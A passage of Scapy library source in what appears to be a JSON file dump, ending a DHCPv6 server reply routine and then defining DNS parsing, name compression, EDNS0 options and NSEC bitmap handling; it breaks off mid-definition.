Client Identifier option OR\n            # THAT DO INCLUDE a Server Identifier Option\n\n            # XXX we must discard the SOLICIT if it is received with\n            #     a unicast destination address\n\n            pass\n\n        elif msgtype == 5:  # RENEW\n            # see Sect 18.1.3\n\n            # Clients want to extend lifetime of assigned addresses\n            # and update configuration parameters. This message is sent\n            # specifically to the server that provided her the info\n\n            # - Received message must include a Server Identifier\n            #   option.\n            # - the content of server identifier option must match\n            #   the server's identifier.\n            # - the message must include a Client identifier option\n\n            pass\n\n        elif msgtype == 6:  # REBIND\n            # see Sect 18.1.4\n\n            # Same purpose as the Renew message but sent to any\n            # available server after he received no response\n            # to its previous Renew message.\n\n            # - Message must include a Client Identifier Option\n            # - Message can't include a Server identifier option\n\n            # XXX we must discard the SOLICIT if it is received with\n            #     a unicast destination address\n\n            pass\n\n        elif msgtype == 8:  # RELEASE\n            # See RFC 3315 section 18.1.6\n\n            # Message is sent to the server to indicate that\n            # she will no longer use the addresses that was assigned\n            # We should parse the message and verify our dictionary\n            # to log that fact.\n\n            # - The message must include a server identifier option\n            # - The content of the Server Identifier option must\n            #   match the server's identifier\n            # - the message must include a Client Identifier option\n\n            pass\n\n        elif msgtype == 9:  # DECLINE\n            # See RFC 3315 section 18.1.7\n            pass\n\n        elif msgtype == 11:  # INFO-REQUEST\n            client_duid = None\n            if not p.haslayer(DHCP6OptClientId):\n                if self.debug:\n                    warning(\"Received Info Request message without Client Id option\")  # noqa: E501\n            else:\n                client_duid = p[DHCP6OptClientId].duid\n\n            resp = IPv6(src=self.src_addr, dst=req_src)\n            resp /= UDP(sport=547, dport=546)\n            resp /= DHCP6_Reply(trid=trid)\n            resp /= DHCP6OptServerId(duid=self.duid)\n\n            if client_duid:\n                resp /= DHCP6OptClientId(duid=client_duid)\n\n            # Stack requested options if available\n            for o, opt in self.dhcpv6_options.items():\n                resp /= opt\n\n            return resp\n\n        else:\n            # what else ?\n            pass\n\n        # - We won't support reemission\n        # - We won't support relay role, nor relay forwarded messages\n        #   at the beginning\n"
  },
  {
    "path": "scapy/layers/dns.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nDNS: Domain Name System\n\nThis implements:\n- RFC1035: Domain Names\n- RFC6762: Multicast DNS\n- RFC6763: DNS-Based Service Discovery\n\"\"\"\n\nimport abc\nimport collections\nimport operator\nimport itertools\nimport socket\nimport struct\nimport time\nimport warnings\n\nfrom scapy.arch import (\n    get_if_addr,\n    get_if_addr6,\n    read_nameservers,\n)\nfrom scapy.ansmachine import AnsweringMachine\nfrom scapy.base_classes import Net, ScopedIP\nfrom scapy.config import conf\nfrom scapy.compat import raw, chb, bytes_encode, plain_str\nfrom scapy.error import log_runtime, warning, Scapy_Exception\nfrom scapy.packet import Packet, bind_layers, Raw\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    Field,\n    FieldLenField,\n    FieldListField,\n    FlagsField,\n    I,\n    IP6Field,\n    IntField,\n    MACField,\n    MultipleTypeField,\n    PacketListField,\n    ShortEnumField,\n    ShortField,\n    StrField,\n    StrLenField,\n    UTCTimeField,\n    XStrFixedLenField,\n    XStrLenField,\n)\nfrom scapy.interfaces import resolve_iface\nfrom scapy.sendrecv import sr1, sr\nfrom scapy.supersocket import StreamSocket\nfrom scapy.plist import SndRcvList, _PacketList, QueryAnswer\nfrom scapy.pton_ntop import inet_ntop, inet_pton\nfrom scapy.utils import pretty_list\nfrom scapy.volatile import RandShort\n\nfrom scapy.layers.l2 import Ether\nfrom scapy.layers.inet import IP, DestIPField, IPField, UDP, TCP\nfrom scapy.layers.inet6 import IPv6\n\nfrom typing import (\n    Any,\n    List,\n    Optional,\n    Tuple,\n    Type,\n    Union,\n)\n\n\n# https://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml#dns-parameters-4\ndnstypes = {\n    0: \"RESERVED\",\n    1: \"A\", 2: \"NS\", 3: \"MD\", 4: \"MF\", 5: \"CNAME\", 6: \"SOA\", 7: \"MB\", 8: \"MG\",\n    9: \"MR\", 10: \"NULL\", 11: \"WKS\", 12: \"PTR\", 13: \"HINFO\", 14: \"MINFO\",\n    15: \"MX\", 16: \"TXT\", 17: \"RP\", 18: \"AFSDB\", 19: \"X25\", 20: \"ISDN\",\n    21: \"RT\", 22: \"NSAP\", 23: \"NSAP-PTR\", 24: \"SIG\", 25: \"KEY\", 26: \"PX\",\n    27: \"GPOS\", 28: \"AAAA\", 29: \"LOC\", 30: \"NXT\", 31: \"EID\", 32: \"NIMLOC\",\n    33: \"SRV\", 34: \"ATMA\", 35: \"NAPTR\", 36: \"KX\", 37: \"CERT\", 38: \"A6\",\n    39: \"DNAME\", 40: \"SINK\", 41: \"OPT\", 42: \"APL\", 43: \"DS\", 44: \"SSHFP\",\n    45: \"IPSECKEY\", 46: \"RRSIG\", 47: \"NSEC\", 48: \"DNSKEY\", 49: \"DHCID\",\n    50: \"NSEC3\", 51: \"NSEC3PARAM\", 52: \"TLSA\", 53: \"SMIMEA\", 55: \"HIP\",\n    56: \"NINFO\", 57: \"RKEY\", 58: \"TALINK\", 59: \"CDS\", 60: \"CDNSKEY\",\n    61: \"OPENPGPKEY\", 62: \"CSYNC\", 63: \"ZONEMD\", 64: \"SVCB\", 65: \"HTTPS\",\n    99: \"SPF\", 100: \"UINFO\", 101: \"UID\", 102: \"GID\", 103: \"UNSPEC\", 104: \"NID\",\n    105: \"L32\", 106: \"L64\", 107: \"LP\", 108: \"EUI48\", 109: \"EUI64\", 249: \"TKEY\",\n    250: \"TSIG\", 256: \"URI\", 257: \"CAA\", 258: \"AVC\", 259: \"DOA\",\n    260: \"AMTRELAY\", 32768: \"TA\", 32769: \"DLV\", 65535: \"RESERVED\"\n}\n\n\ndnsqtypes = {251: \"IXFR\", 252: \"AXFR\", 253: \"MAILB\", 254: \"MAILA\", 255: \"ALL\"}\ndnsqtypes.update(dnstypes)\ndnsclasses = {1: 'IN', 2: 'CS', 3: 'CH', 4: 'HS', 255: 'ANY'}\n\n\n# 12/2023 from https://www.iana.org/assignments/dns-sec-alg-numbers/dns-sec-alg-numbers.xhtml  # noqa: E501\ndnssecalgotypes = {0: \"Reserved\", 1: \"RSA/MD5\", 2: \"Diffie-Hellman\", 3: \"DSA/SHA-1\",  # noqa: E501\n                   4: \"Reserved\", 5: \"RSA/SHA-1\", 6: \"DSA-NSEC3-SHA1\",\n                   7: \"RSASHA1-NSEC3-SHA1\", 8: \"RSA/SHA-256\", 9: \"Reserved\",\n                   10: \"RSA/SHA-512\", 11: \"Reserved\", 12: \"GOST R 34.10-2001\",\n                   13: \"ECDSA Curve P-256 with SHA-256\", 14: \"ECDSA Curve P-384 with SHA-384\",  # noqa: E501\n                   15: \"Ed25519\", 16: \"Ed448\",\n                   252: \"Reserved for Indirect Keys\", 253: \"Private algorithms - domain name\",  # noqa: E501\n                   254: \"Private algorithms - OID\", 255: \"Reserved\"}\n\n# 12/2023 from https://www.iana.org/assignments/ds-rr-types/ds-rr-types.xhtml\ndnssecdigesttypes = {0: \"Reserved\", 1: \"SHA-1\", 2: \"SHA-256\", 3: \"GOST R 34.11-94\", 4: \"SHA-384\"}  # noqa: E501\n\n# 12/2023 from https://www.iana.org/assignments/dnssec-nsec3-parameters/dnssec-nsec3-parameters.xhtml  # noqa: E501\ndnssecnsec3algotypes = {0: \"Reserved\", 1: \"SHA-1\"}\n\n\ndef dns_get_str(s, full=None, _ignore_compression=False):\n    \"\"\"This function decompresses a string s, starting\n    from the given pointer.\n\n    :param s: the string to decompress\n    :param full: (optional) the full packet (used for decompression)\n\n    :returns: (decoded_string, end_index, left_string)\n    \"\"\"\n    # _ignore_compression is for internal use only\n    max_length = len(s)\n    # The result = the extracted name\n    name = b\"\"\n    # Will contain the index after the pointer, to be returned\n    after_pointer = None\n    processed_pointers = []  # Used to check for decompression loops\n    bytes_left = None\n    _fullpacket = False  # s = full packet\n    pointer = 0\n    while True:\n        if abs(pointer) >= max_length:\n            log_runtime.info(\n                \"DNS RR prematured end (ofs=%i, len=%i)\", pointer, len(s)\n            )\n            break\n        cur = s[pointer]  # get pointer value\n        pointer += 1  # make pointer go forward\n        if cur & 0xc0:  # Label pointer\n            if after_pointer is None:\n                # after_pointer points to where the remaining bytes start,\n                # as pointer will follow the jump token\n                after_pointer = pointer + 1\n            if _ignore_compression:\n                # skip\n                pointer += 1\n                continue\n            if pointer >= max_length:\n                log_runtime.info(\n                    \"DNS incomplete jump token at (ofs=%i)\", pointer\n                )\n                break\n            if not full:\n                raise Scapy_Exception(\"DNS message can't be compressed \" +\n                                      \"at this point!\")\n            # Follow the pointer\n            pointer = ((cur & ~0xc0) << 8) + s[pointer]\n            if pointer in processed_pointers:\n                warning(\"DNS decompression loop detected\")\n                break\n            if len(processed_pointers) >= 20:\n                warning(\"More than 20 jumps in a single DNS decompression ! \"\n                        \"Dropping (evil packet)\")\n                break\n            if not _fullpacket:\n                # We switch our s buffer to full, so we need to remember\n                # the previous context\n                bytes_left = s[after_pointer:]\n                s = full\n                max_length = len(s)\n                _fullpacket = True\n            processed_pointers.append(pointer)\n            continue\n        elif cur > 0:  # Label\n            # cur = length of the string\n            name += s[pointer:pointer + cur] + b\".\"\n            pointer += cur\n        else:  # End\n            break\n    if after_pointer is not None:\n        # Return the real end index (not the one we followed)\n        pointer = after_pointer\n    if bytes_left is None:\n        bytes_left = s[pointer:]\n    # name, remaining\n    return name or b\".\", bytes_left\n\n\ndef _is_ptr(x):\n    \"\"\"\n    Heuristic to guess if bytes are an encoded DNS pointer.\n    \"\"\"\n    return (\n        (x and x[-1] == 0) or\n        (len(x) >= 2 and (x[-2] & 0xc0) == 0xc0)\n    )\n\n\ndef dns_encode(x, check_built=False):\n    \"\"\"Encodes a bytes string into the DNS format\n\n    :param x: the string\n    :param check_built: detect already-built strings and ignore them\n    :returns: the encoded bytes string\n    \"\"\"\n    if not x or x == b\".\":\n        return b\"\\x00\"\n\n    if check_built and _is_ptr(x):\n        # The value has already been processed. Do not process it again\n        return x\n\n    # Truncate chunks that cannot be encoded (more than 63 bytes..)\n    x = b\"\".join(chb(len(y)) + y for y in (k[:63] for k in x.split(b\".\")))\n    if x[-1:] != b\"\\x00\":\n        x += b\"\\x00\"\n    return x\n\n\ndef DNSgetstr(*args, **kwargs):\n    \"\"\"Legacy function. Deprecated\"\"\"\n    warnings.warn(\n        \"DNSgetstr is deprecated. Use dns_get_str instead.\",\n        DeprecationWarning\n    )\n    return dns_get_str(*args, **kwargs)[:-1]\n\n\ndef dns_compress(pkt):\n    \"\"\"This function compresses a DNS packet according to compression rules.\n    \"\"\"\n    if DNS not in pkt:\n        raise Scapy_Exception(\"Can only compress DNS layers\")\n    pkt = pkt.copy()\n    dns_pkt = pkt.getlayer(DNS)\n    dns_pkt.clear_cache()\n    build_pkt = raw(dns_pkt)\n\n    def field_gen(dns_pkt):\n        \"\"\"Iterates through all DNS strings that can be compressed\"\"\"\n        for lay in [dns_pkt.qd, dns_pkt.an, dns_pkt.ns, dns_pkt.ar]:\n            if not lay:\n                continue\n            for current in lay:\n                for field in current.fields_desc:\n                    if isinstance(field, DNSStrField) or \\\n                        (isinstance(field, MultipleTypeField) and\n                         current.type in [2, 3, 4, 5, 12, 15, 39, 47]):\n                        # Get the associated data and store it accordingly  # noqa: E501\n                        dat = current.getfieldval(field.name)\n                        yield current, field.name, dat\n\n    def possible_shortens(dat):\n        \"\"\"Iterates through all possible compression parts in a DNS string\"\"\"\n        if dat == b\".\":  # we'd lose by compressing it\n            return\n        yield dat\n        for x in range(1, dat.count(b\".\")):\n            yield dat.split(b\".\", x)[x]\n    data = {}\n    for current, name, dat in field_gen(dns_pkt):\n        for part in possible_shortens(dat):\n            # Encode the data\n            encoded = dns_encode(part, check_built=True)\n            if part not in data:\n                # We have no occurrence of such data, let's store it as a\n                # possible pointer for future strings.\n                # We get the index of the encoded data\n                index = build_pkt.index(encoded)\n                # The following is used to build correctly the pointer\n                fb_index = ((index >> 8) | 0xc0)\n                sb_index = index - (256 * (fb_index - 0xc0))\n                pointer = chb(fb_index) + chb(sb_index)\n                data[part] = [(current, name, pointer, index + 1)]\n            else:\n                # This string already exists, let's mark the current field\n                # with it, so that it gets compressed\n                data[part].append((current, name))\n                _in = data[part][0][3]\n                build_pkt = build_pkt[:_in] + build_pkt[_in:].replace(\n                    encoded,\n                    b\"\\0\\0\",\n                    1\n                )\n                break\n    # Apply compression rules\n    for ck in data:\n        # compression_key is a DNS string\n        replacements = data[ck]\n        # replacements is the list of all tuples (layer, field name)\n        # where this string was found\n        replace_pointer = replacements.pop(0)[2]\n        # replace_pointer is the packed pointer that should replace\n        # those strings. Note that pop remove it from the list\n        for rep in replacements:\n            # setfieldval edits the value of the field in the layer\n            val = rep[0].getfieldval(rep[1])\n            assert val.endswith(ck)\n            kept_string = dns_encode(val[:-len(ck)], check_built=True)[:-1]\n            new_val = kept_string + replace_pointer\n            rep[0].setfieldval(rep[1], new_val)\n            try:\n                del rep[0].rdlen\n            except AttributeError:\n                pass\n    # End of the compression algorithm\n    # Destroy the previous DNS layer if needed\n    if not isinstance(pkt, DNS) and pkt.getlayer(DNS).underlayer:\n        pkt.getlayer(DNS).underlayer.remove_payload()\n        return pkt / dns_pkt\n    return dns_pkt\n\n\nclass DNSCompressedPacket(Packet):\n    \"\"\"\n    Class to mark that a packet contains DNSStrField and supports compression\n    \"\"\"\n    @abc.abstractmethod\n    def get_full(self):\n        pass\n\n\nclass DNSStrField(StrLenField):\n    \"\"\"\n    Special StrField that handles DNS encoding/decoding.\n    It will also handle DNS decompression.\n    (may be StrLenField if a length_from is passed),\n    \"\"\"\n    def any2i(self, pkt, x):\n        if x and isinstance(x, list):\n            return [self.h2i(pkt, y) for y in x]\n        return super(DNSStrField, self).any2i(pkt, x)\n\n    def h2i(self, pkt, x):\n        # Setting a DNSStrField manually (h2i) means any current compression will break\n        if (\n            pkt and\n            isinstance(pkt.parent, DNSCompressedPacket) and\n            pkt.parent.raw_packet_cache\n        ):\n            pkt.parent.clear_cache()\n        if not x:\n            return b\".\"\n        x = bytes_encode(x)\n        if x[-1:] != b\".\" and not _is_ptr(x):\n            return x + b\".\"\n        return x\n\n    def i2m(self, pkt, x):\n        return dns_encode(x, check_built=True)\n\n    def i2len(self, pkt, x):\n        return len(self.i2m(pkt, x))\n\n    def get_full(self, pkt):\n        while pkt and not isinstance(pkt, DNSCompressedPacket):\n            pkt = pkt.parent or pkt.underlayer\n        if not pkt:\n            return None\n        return pkt.get_full()\n\n    def getfield(self, pkt, s):\n        remain = b\"\"\n        if self.length_from:\n            remain, s = super(DNSStrField, self).getfield(pkt, s)\n        # Decode the compressed DNS message\n        decoded, left = dns_get_str(s, full=self.get_full(pkt))\n        # returns (remaining, decoded)\n        return left + remain, decoded\n\n\nclass DNSTextField(StrLenField):\n    \"\"\"\n    Special StrLenField that handles DNS TEXT data (16)\n    \"\"\"\n\n    islist = 1\n\n    def i2h(self, pkt, x):\n        if not x:\n            return []\n        return x\n\n    def m2i(self, pkt, s):\n        ret_s = list()\n        tmp_s = s\n        # RDATA contains a list of strings, each are prepended with\n        # a byte containing the size of the following string.\n        while tmp_s:\n            tmp_len = tmp_s[0] + 1\n            if tmp_len > len(tmp_s):\n                log_runtime.info(\n                    \"DNS RR TXT prematured end of character-string \"\n                    \"(size=%i, remaining bytes=%i)\", tmp_len, len(tmp_s)\n                )\n            ret_s.append(tmp_s[1:tmp_len])\n            tmp_s = tmp_s[tmp_len:]\n        return ret_s\n\n    def any2i(self, pkt, x):\n        if isinstance(x, (str, bytes)):\n            return [x]\n        return x\n\n    def i2len(self, pkt, x):\n        return len(self.i2m(pkt, x))\n\n    def i2m(self, pkt, s):\n        ret_s = b\"\"\n        for text in s:\n            if not text:\n                ret_s += b\"\\x00\"\n                continue\n            text = bytes_encode(text)\n            # The initial string must be split into a list of strings\n            # prepended with theirs sizes.\n            while len(text) >= 255:\n                ret_s += b\"\\xff\" + text[:255]\n                text = text[255:]\n            # The remaining string is less than 255 bytes long\n            if len(text):\n                ret_s += struct.pack(\"!B\", len(text)) + text\n        return ret_s\n\n\n# RFC 2671 - Extension Mechanisms for DNS (EDNS0)\n\nedns0types = {0: \"Reserved\", 1: \"LLQ\", 2: \"UL\", 3: \"NSID\", 4: \"Owner\",\n              5: \"DAU\", 6: \"DHU\", 7: \"N3U\", 8: \"edns-client-subnet\", 10: \"COOKIE\",\n              15: \"Extended DNS Error\"}\n\n\nclass _EDNS0Dummy(Packet):\n    name = \"Dummy class that implements extract_padding()\"\n\n    def extract_padding(self, p):\n        # type: (bytes) -> Tuple[bytes, Optional[bytes]]\n        return \"\", p\n\n\nclass EDNS0TLV(_EDNS0Dummy):\n    name = \"DNS EDNS0 TLV\"\n    fields_desc = [ShortEnumField(\"optcode\", 0, edns0types),\n                   FieldLenField(\"optlen\", None, \"optdata\", fmt=\"H\"),\n                   StrLenField(\"optdata\", \"\",\n                               length_from=lambda pkt: pkt.optlen)]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        # type: (Optional[bytes], *Any, **Any) -> Type[Packet]\n        if _pkt is None:\n            return EDNS0TLV\n        if len(_pkt) < 2:\n            return Raw\n        edns0type = struct.unpack(\"!H\", _pkt[:2])[0]\n        return EDNS0OPT_DISPATCHER.get(edns0type, EDNS0TLV)\n\n\nclass DNSRROPT(Packet):\n    name = \"DNS OPT Resource Record\"\n    fields_desc = [DNSStrField(\"rrname\", \"\"),\n                   ShortEnumField(\"type\", 41, dnstypes),\n                   ShortEnumField(\"rclass\", 4096, dnsclasses),\n                   ByteField(\"extrcode\", 0),\n                   ByteField(\"version\", 0),\n                   # version 0 means EDNS0\n                   BitEnumField(\"z\", 32768, 16, {32768: \"D0\"}),\n                   # D0 means DNSSEC OK from RFC 3225\n                   FieldLenField(\"rdlen\", None, length_of=\"rdata\", fmt=\"H\"),\n                   PacketListField(\"rdata\", [], EDNS0TLV,\n                                   length_from=lambda pkt: pkt.rdlen)]\n\n\n# draft-cheshire-edns0-owner-option-01 - EDNS0 OWNER Option\n\nclass EDNS0OWN(_EDNS0Dummy):\n    name = \"EDNS0 Owner (OWN)\"\n    fields_desc = [ShortEnumField(\"optcode\", 4, edns0types),\n                   FieldLenField(\"optlen\", None, count_of=\"primary_mac\", fmt=\"H\"),\n                   ByteField(\"v\", 0),\n                   ByteField(\"s\", 0),\n                   MACField(\"primary_mac\", \"00:00:00:00:00:00\"),\n                   ConditionalField(\n                       MACField(\"wakeup_mac\", \"00:00:00:00:00:00\"),\n                       lambda pkt: (pkt.optlen or 0) >= 18),\n                   ConditionalField(\n                       StrLenField(\"password\", \"\",\n                                   length_from=lambda pkt: pkt.optlen - 18),\n                       lambda pkt: (pkt.optlen or 0) >= 22)]\n\n    def post_build(self, pkt, pay):\n        pkt += pay\n        if self.optlen is None:\n            pkt = pkt[:2] + struct.pack(\"!H\", len(pkt) - 4) + pkt[4:]\n        return pkt\n\n\n# RFC 6975 - Signaling Cryptographic Algorithm Understanding in\n# DNS Security Extensions (DNSSEC)\n\nclass EDNS0DAU(_EDNS0Dummy):\n    name = \"DNSSEC Algorithm Understood (DAU)\"\n    fields_desc = [ShortEnumField(\"optcode\", 5, edns0types),\n                   FieldLenField(\"optlen\", None, count_of=\"alg_code\", fmt=\"H\"),\n                   FieldListField(\"alg_code\", None,\n                                  ByteEnumField(\"\", 0, dnssecalgotypes),\n                                  count_from=lambda pkt:pkt.optlen)]\n\n\nclass EDNS0DHU(_EDNS0Dummy):\n    name = \"DS Hash Understood (DHU)\"\n    fields_desc = [ShortEnumField(\"optcode\", 6, edns0types),\n                   FieldLenField(\"optlen\", None, count_of=\"alg_code\", fmt=\"H\"),\n                   FieldListField(\"alg_code\", None,\n                                  ByteEnumField(\"\", 0, dnssecdigesttypes),\n                                  count_from=lambda pkt:pkt.optlen)]\n\n\nclass EDNS0N3U(_EDNS0Dummy):\n    name = \"NSEC3 Hash Understood (N3U)\"\n    fields_desc = [ShortEnumField(\"optcode\", 7, edns0types),\n                   FieldLenField(\"optlen\", None, count_of=\"alg_code\", fmt=\"H\"),\n                   FieldListField(\"alg_code\", None,\n                                  ByteEnumField(\"\", 0, dnssecnsec3algotypes),\n                                  count_from=lambda pkt:pkt.optlen)]\n\n\n# RFC 7871 - Client Subnet in DNS Queries\n\nclass ClientSubnetv4(StrLenField):\n    af_familly = socket.AF_INET\n    af_length = 32\n    af_default = b\"\\xc0\"  # 192.0.0.0\n\n    def getfield(self, pkt, s):\n        # type: (Packet, bytes) -> Tuple[bytes, I]\n        sz = operator.floordiv(self.length_from(pkt) + 7, 8)\n        sz = min(sz, operator.floordiv(self.af_length, 8))\n        return s[sz:], self.m2i(pkt, s[:sz])\n\n    def m2i(self, pkt, x):\n        # type: (Optional[Packet], bytes) -> str\n        padding = self.af_length - self.length_from(pkt)\n        if padding:\n            x += b\"\\x00\" * operator.floordiv(padding, 8)\n        x = x[: operator.floordiv(self.af_length, 8)]\n        return inet_ntop(self.af_familly, x)\n\n    def _pack_subnet(self, subnet):\n        # type: (bytes) -> bytes\n        packed_subnet = inet_pton(self.af_familly, plain_str(subnet))\n        for i in list(range(operator.floordiv(self.af_length, 8)))[::-1]:\n            if packed_subnet[i] != 0:\n                i += 1\n                break\n        return packed_subnet[:i]\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[Union[str, Net]]) -> bytes\n        if x is None:\n            return self.af_default\n        try:\n            return self._pack_subnet(x)\n        except (OSError, socket.error):\n            pkt.family = 2\n            return ClientSubnetv6(\"\", \"\")._pack_subnet(x)\n\n    def i2len(self, pkt, x):\n        # type: (Packet, Any) -> int\n        if x is None:\n            return 1\n        try:\n            return len(self._pack_subnet(x))\n        except (OSError, socket.error):\n            pkt.family = 2\n            return len(ClientSubnetv6(\"\", \"\")._pack_subnet(x))\n\n\nclass ClientSubnetv6(ClientSubnetv4):\n    af_familly = socket.AF_INET6\n    af_length = 128\n    af_default = b\"\\x20\"  # 2000::\n\n\nclass EDNS0ClientSubnet(_EDNS0Dummy):\n    name = \"DNS EDNS0 Client Subnet\"\n    fields_desc = [ShortEnumField(\"optcode\", 8, edns0types),\n                   FieldLenField(\"optlen\", None, \"address\", fmt=\"H\",\n                                 adjust=lambda pkt, x: x + 4),\n                   ShortField(\"family\", 1),\n                   FieldLenField(\"source_plen\", None,\n                                 length_of=\"address\",\n                                 fmt=\"B\",\n                                 adjust=lambda pkt, x: x * 8),\n                   ByteField(\"scope_plen\", 0),\n                   MultipleTypeField(\n                       [(ClientSubnetv4(\"address\", \"192.168.0.0\",\n                         length_from=lambda p: p.source_plen),\n                         lambda pkt: pkt.family == 1),\n                        (ClientSubnetv6(\"address\", \"2001:db8::\",\n                         length_from=lambda p: p.source_plen),\n                         lambda pkt: pkt.family == 2)],\n                       ClientSubnetv4(\"address\", \"192.168.0.0\",\n                                      length_from=lambda p: p.source_plen))]\n\n\nclass EDNS0COOKIE(_EDNS0Dummy):\n    name = \"DNS EDNS0 COOKIE\"\n    fields_desc = [ShortEnumField(\"optcode\", 10, edns0types),\n                   FieldLenField(\"optlen\", None, length_of=\"server_cookie\", fmt=\"!H\",\n                                 adjust=lambda pkt, x: x + 8),\n                   XStrFixedLenField(\"client_cookie\", b\"\\x00\" * 8, length=8),\n                   XStrLenField(\"server_cookie\", \"\",\n                                length_from=lambda pkt: max(0, pkt.optlen - 8))]\n\n\n# RFC 8914 - Extended DNS Errors\n\n# https://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml#extended-dns-error-codes\nextended_dns_error_codes = {\n    0: \"Other\",\n    1: \"Unsupported DNSKEY Algorithm\",\n    2: \"Unsupported DS Digest Type\",\n    3: \"Stale Answer\",\n    4: \"Forged Answer\",\n    5: \"DNSSEC Indeterminate\",\n    6: \"DNSSEC Bogus\",\n    7: \"Signature Expired\",\n    8: \"Signature Not Yet Valid\",\n    9: \"DNSKEY Missing\",\n    10: \"RRSIGs Missing\",\n    11: \"No Zone Key Bit Set\",\n    12: \"NSEC Missing\",\n    13: \"Cached Error\",\n    14: \"Not Ready\",\n    15: \"Blocked\",\n    16: \"Censored\",\n    17: \"Filtered\",\n    18: \"Prohibited\",\n    19: \"Stale NXDOMAIN Answer\",\n    20: \"Not Authoritative\",\n    21: \"Not Supported\",\n    22: \"No Reachable Authority\",\n    23: \"Network Error\",\n    24: \"Invalid Data\",\n    25: \"Signature Expired before Valid\",\n    26: \"Too Early\",\n    27: \"Unsupported NSEC3 Iterations Value\",\n    28: \"Unable to conform to policy\",\n    29: \"Synthesized\",\n}\n\n\n# https://www.rfc-editor.org/rfc/rfc8914.html\nclass EDNS0ExtendedDNSError(_EDNS0Dummy):\n    name = \"DNS EDNS0 Extended DNS Error\"\n    fields_desc = [ShortEnumField(\"optcode\", 15, edns0types),\n                   FieldLenField(\"optlen\", None, length_of=\"extra_text\", fmt=\"!H\",\n                                 adjust=lambda pkt, x: x + 2),\n                   ShortEnumField(\"info_code\", 0, extended_dns_error_codes),\n                   StrLenField(\"extra_text\", \"\",\n                               length_from=lambda pkt: pkt.optlen - 2)]\n\n\nEDNS0OPT_DISPATCHER = {\n    4: EDNS0OWN,\n    5: EDNS0DAU,\n    6: EDNS0DHU,\n    7: EDNS0N3U,\n    8: EDNS0ClientSubnet,\n    10: EDNS0COOKIE,\n    15: EDNS0ExtendedDNSError,\n}\n\n\n# RFC 4034 - Resource Records for the DNS Security Extensions\n\ndef bitmap2RRlist(bitmap):\n    \"\"\"\n    Decode the 'Type Bit Maps' field of the NSEC Resource Record into an\n    integer list.\n    \"\"\"\n    # RFC 4034, 4.1.2. The Type Bit Maps Field\n\n    RRlist = []\n\n    while bitmap:\n\n        if len(bitmap) < 2:\n            log_runtime.info(\"bitmap too short (%i)\", len(bitmap))\n            return\n\n        window_block = bitmap[0]  # window number\n        offset = 256 * window_block  # offset of the Resource Record\n        bitmap_len = bitmap[1]  # length of the bitmap in bytes\n\n        if bitmap_len <= 0 or bitmap_len > 32:\n            log_runtime.info(\"bitmap length is no valid (%i)\", bitmap_len)\n            return\n\n        tmp_bitmap = bitmap[2:2 + bitmap_len]\n\n        # Let's compare each bit of tmp_bitmap and compute the real RR value\n        for b in range(len(tmp_bitmap)):\n            v = 128\n            for i in range(8):\n                if tmp_bitmap[b] & v:\n                    # each of the RR is encoded as a bit\n                    RRlist += [offset + b * 8 + i]\n                v = v >> 1\n\n        # Next block if any\n        bitmap = bitmap[2 + bitmap_len:]\n\n    return RRlist\n\n\ndef RRlist2bitmap(lst):\n    \"\"\"\n    Encode a list of integers representing Resource Records to a bitmap field\n    used in the NSEC Resource Record.\n    \"\"\"\n    # RFC 4034, 4.1.2. The Type Bit Maps Field\n\n    import math\n\n    bitmap = b\"\"\n    lst = [abs(x) for x in sorted(set(lst)) if x <= 65535]\n\n    # number of window blocks\n    max_window_blocks = int(math.ceil(lst[-1] / 256.))\n    min_window_blocks = int(math.floor(lst[0] / 256.))\n    if min_window_blocks == max_window_blocks:\n        max_window_blocks += 1\n\n    for wb in range(min_window_blocks, max_window_blocks + 1):\n        # First, filter out RR not encoded in the current window block\n        # i.e. keep everything between 256*wb <= 256*(wb+1)\n        rrlist = sorted(x for x in lst if 256 * wb <= x < 256 * (wb + 1))\n        if not rrlist:\n            continue\n\n        # Compute the number of bytes used to store the bitmap\n        if rrlist[-1] == 0:  # only one element in the list\n            bytes_count = 1\n        else:\n            max = rrlist[-1] - 256 * wb\n            bytes_count = int(math.ceil(max // 8)) + 1  # use at least 1 byte\n        if bytes_count > 32:  # Don't encode more than 256 bits / values\n            bytes_count = 32\n\n        bitmap += struct.pack(\"BB\", wb, bytes_count)\n\n        # Generate the bitmap\n        # The idea is to remove out of range Resource Records with these steps\n        # 1. rescale to fit into 8 bits\n        # 2. x gives the bit position ; compute the corresponding value\n        # 3. sum everything\n        bitmap += b\"\".join(\n            struct.pack(\n                b\"B\",\n                sum(2 ** (7 - (x - 256 * wb) + (tmp * 8)) for x in rrlist\n                    if 256 * wb + 8 * tmp <= x < 256 * wb + 8 * tmp + 8),\n            ) for tmp in range(bytes_count)\n        )\n\n    return bitmap\n\n\nclass RRlistField(StrField):\n    islist = 1\n\n    def h2i(self, pkt, x):\n        if x and isinstance(x, list):\n            return RRlist2bitmap(x)\n        return x\n\n    def i2repr(self, pkt, x):\n        if not x:\n            return \"[]\"\n        x = self.i2h(pkt, x)\n        rrlist = bitmap2RRlist(x)\n        return [dnstypes.get(rr, rr) for rr in rrlist] if rrlist else repr(x)\n\n\nclass _DNSRRdummy(Packet):\n    name = \"Dummy class that implements post_build() for Resource Records\"\n\n    def post_build(self, pkt, pay):\n        if self.rdlen is not None:\n            return pkt + pay\n\n        lrrname = len(self.fields_desc[0].i2m(\"\", self.getfieldval(\"rrname\")))\n        tmp_len = len(pkt) - lrrname - 10\n        tmp_pkt = pkt[:lrrname + 8]\n        pkt = struct.pack(\"!H\", tmp_len) + pkt[lrrname + 8 + 2:]\n\n        return tmp_pkt + pkt + pay\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass DNSRRHINFO(_DNSRRdummy):\n    name = \"DNS HINFO Resource Record\"\n    fields_desc = [DNSStrField(\"rrname\", \"\"),\n                   ShortEnumField(\"type\", 13, dnstypes),\n                   BitField(\"cacheflush\", 0, 1),  # mDNS RFC 6762\n                   BitEnumField(\"rclass\", 1, 15, dnsclasses),\n                   IntField(\"ttl\", 0),\n                   ShortField(\"rdlen\", None),\n                   FieldLenField(\"cpulen\", None, fmt=\"!B\", 